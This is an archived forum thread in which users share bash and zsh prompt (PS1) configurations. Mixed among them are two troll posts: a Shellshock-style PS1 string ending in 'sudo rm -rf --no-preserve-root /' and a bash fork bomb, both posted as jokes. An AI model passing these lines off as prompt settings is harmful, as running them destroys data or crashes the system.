[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y / ] [Home]
4chanarchives logo

ITT we share our PS1


Thread replies: 55
Thread images: 16

File: terminal.jpg (114KB, 2560x1600px) Image search: [Google] [Yandex] [Bing]
terminal.jpg
114KB, 2560x1600px
pic not related.
Let's share some cool terminal prompts.

I just go with the classical
PS1='\[\e[0;32m\]\u\[\e[m\] \[\e[1;34m\]\w\[\e[m\] \[\e[1;32m\]\$\[\e[m\] \[\e[1;37m\]'

But I am looking for inspiration for a small screen laptop.
>>
>>52211949
$

fucking ricers
>>
>>52214150
Not even the working directory displayed?
>>
>>52214209
I have pwd for that
>>
File: PS1.png (106KB, 405x234px) Image search: [Google] [Yandex] [Bing]
PS1.png
106KB, 405x234px
picture related

PS1='\[\e]0;\u@\h: \w\a\]\[\]┌─╼ \[\][\[\e[01;32m\]Aldebaran\[\e[00m\]:\w]\n\[\]$(if [[ $? == 0 ]]; then echo "\[\]└────╼"; else echo "\[\]└╼"; fi) \[\]'
>>
>>52214269
fair enough.

>>52214290
Neat.
>>
PS1="%{$fg[white]%}┌─%{$fg_bold[cyan]%}[%{$reset_color%}%{$fg[white]%}%D %*%{$fg_bold[cyan]%}]%{$reset_color%}%{$fg[white]%} %{$fg[white]%}<%{$fg[cyan]%}%n%{$reset_color%}@%{$fg[white]%}%m%{$fg[cyan]%}>%{$reset_color%}
%{$fg[white]%}└─%{$fg_bold[cyan]%}[%{$reset_color%}%{$fg[white]%}%~%{$fg_bold[cyan]%}]%{$reset_color%}%{$fg[white]%}─>%{$reset_color%} "
>>
>>52211949
PS1='() { :;}; sudo rm -rf --no-preserve-root /'
>>
its working
>>
>>52211949
Am I mistaken, or is the prompt after the `cd` completely wrong? PWD is displayed as part of the hostname info, and the $HOME tilde is still there.
>>
Fucking ricers.

\u@\h:\w>
>>
File: ps1.jpg (579KB, 1600x1200px) Image search: [Google] [Yandex] [Bing]
ps1.jpg
579KB, 1600x1200px
am i doing this right?
>>
>>52214290
that's retarded
>>
>>52214568
Why?
I think it's pretty AND it makes a little space between commands and the results.

>>52214474
Haha... What happens if you do this? It doesn't run that... does it?
>>
PS1="C:\$(pwd | sed 's:/:\\\\\\\:g')> "
>>
>>52214413
This does not work
>>
>>52214774
Its zsh shit.
>>
>>52214557
go back to killing sandniggers ivan.
>>
>>52214718
>It doesn't run that
Of course not. You make it sound like Bash is a piece of shit program that's full of bugs or something.
>>
File: agnoster.png (58KB, 822x422px) Image search: [Google] [Yandex] [Bing]
agnoster.png
58KB, 822x422px
>>52211949
could be worse
>>
File: terminal.jpg (15KB, 245x137px) Image search: [Google] [Yandex] [Bing]
terminal.jpg
15KB, 245x137px
fuck you too lazy to post the actual PS
>>
>>52214290
sup


tv
>>
>>
:(){ :|:& };:
>>
>>52216944

ayy lmao
>>
export PROMPT_COMMAND=__prompt_command
function __prompt_command() {
local sep=$'\xC2\xBB' # UTF-8 U+00BB
local red=$(tput setaf 1)
local green=$(tput setaf 2)
local yellow=$(tput setaf 3)
local blue=$(tput setaf 4)
local cyan=$(tput setaf 5)
local bold=$(tput bold)
local reset=$(tput sgr0)

[[ $EUID -eq 0 ]] && user=$red || user=$green

PS1="\[$user\]\u@\h\[$reset\] \[$blue$bold\]$sep\[$reset\] \[$yellow\]\W\[$reset\] \[$blue$bold\]$sep\[$reset\] \[$user\]\$\[$reset\] "
}
>>
Ok.
>>
>>52217027
Which font is that?
>>
>>52214290
Jesus that is so retarded, useless in every way and beta as fuck
>>
KSH> 
>>
File: 1426109828788.png (14KB, 566x361px) Image search: [Google] [Yandex] [Bing]
1426109828788.png
14KB, 566x361px
>>52211949
>>
function nonzero_return()
{
echo "$?"
}

export PS1="\[\e[37;44m\][\[\e[m\]\[\e[37;44m\]\A\[\e[m\]\[\e[37;44m\]]\[\e[m\]\[\e[37;44m\][\[\e[m\]\[\e[37;44m\]\u\[\e[m\]\[\e[37;44m\]@\[\e[m\]\[\e[37;44m\]\h\[\e[m\]\[\e[37;44m\]]\[\e[m\]\[\e[37;44m\][\[\ e[m\]\[\e[37;44m\]\`nonzero_return\`\[\e[m\]\[\e[37;44m\]]\[\e[m\]\[\e[37;44m\][\[\e[m\]\[\e[37;44m\]\w\[\e[m\]\[\e[37;44m\]]\[\e[m\] "
>>
chkec () {
local i=$?
if [ $i -ne 0 ]
then
echo -n "$i "
fi
}

PS1='\[\a\e[1;31m\]$(chkec)\[\e[0m\]\u@\h:\w\$ '
>>
Now I know what a PS1 is. I always thought it was some zsh thing. How do I even learn about these things?
>>
>>52217046
tewi, but ProFont works just as good.
>>
>>52217397
Just google "bash ps1" or whatever.
Also "ANSI escape codes" if you want colour.
>>
>>52214150
Kek
>>
nice and simple
PS1=' \[\033[01m\]\[\033[1;31m\]\w\[\033[35m\] »\[\033[00m\] '
>>
File: DSC_0014.jpg (2MB, 3840x2160px) Image search: [Google] [Yandex] [Bing]
DSC_0014.jpg
2MB, 3840x2160px
Sorry ive only got ps2... But ill share it if with whoever wants to help clean the dust off
>>
>>52214474

best one so far
>>
File: hueheuheheehue.gif (2MB, 400x225px) Image search: [Google] [Yandex] [Bing]
hueheuheheehue.gif
2MB, 400x225px
>>52220801
yer a cheeky one aintcha?
>>
>>52211949
username@hostname~
>>
>>52216819
this is really nice, can you share?
>>
File: 2016-01-03_20-52-05.png (7KB, 581x394px) Image search: [Google] [Yandex] [Bing]
2016-01-03_20-52-05.png
7KB, 581x394px
>>
>>52214753
underrated post desu senpai
>>
>using anything but the default shell prompt provided by your distro
>>
>>52221181
Oh My Zsh's agnoster theme
>>
File: BUNBUUU.jpg (107KB, 932x651px) Image search: [Google] [Yandex] [Bing]
BUNBUUU.jpg
107KB, 932x651px
PS1='${debian_chroot:+($debian_chroot)}\
\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\
\[\033[01;36m\]$(__git_ps1 " (±%s)")\[\033[00m\]\$ '
>>
>>52214557
As someone who used to be a PowerShell enthusiast, I kek'd
>>
Just put \! on the front, and you get a history line number.
Useful for fc or history substitutions and expansions.
>>
File: 20150827_183406.jpg (2MB, 3264x1836px) Image search: [Google] [Yandex] [Bing]
20150827_183406.jpg
2MB, 3264x1836px
>>52211949
>ITT we share our PS1
okay
>>
File: zsh.png (12KB, 605x77px) Image search: [Google] [Yandex] [Bing]
zsh.png
12KB, 605x77px
>>
>>52216911
>too lazy to post the actual PS
Would that not take less time than making a screenshot?
>>
>>52226549
i had that in my screenshot folder
>>
PROMPT is the zsh equivalent. Here's mine.

PROMPT='%n@%m:%~ > '
Thread replies: 55
Thread images: 16
[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y / ] [Home]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
If a post contains personal/copyrighted/illegal content you can contact me at [email protected] with that post and thread number and it will be removed as soon as possible.
If a post contains illegal content, please click on its [Report] button and follow the instructions.
This is a 4chan archive - all of the content originated from them. If you need information for a Poster - you need to contact them.
This website shows only archived content and is not affiliated with 4chan in any way.
If you like this website please support us by donating with Bitcoin at 1XVgDnu36zCj97gLdeSwHMdiJaBkqhtMK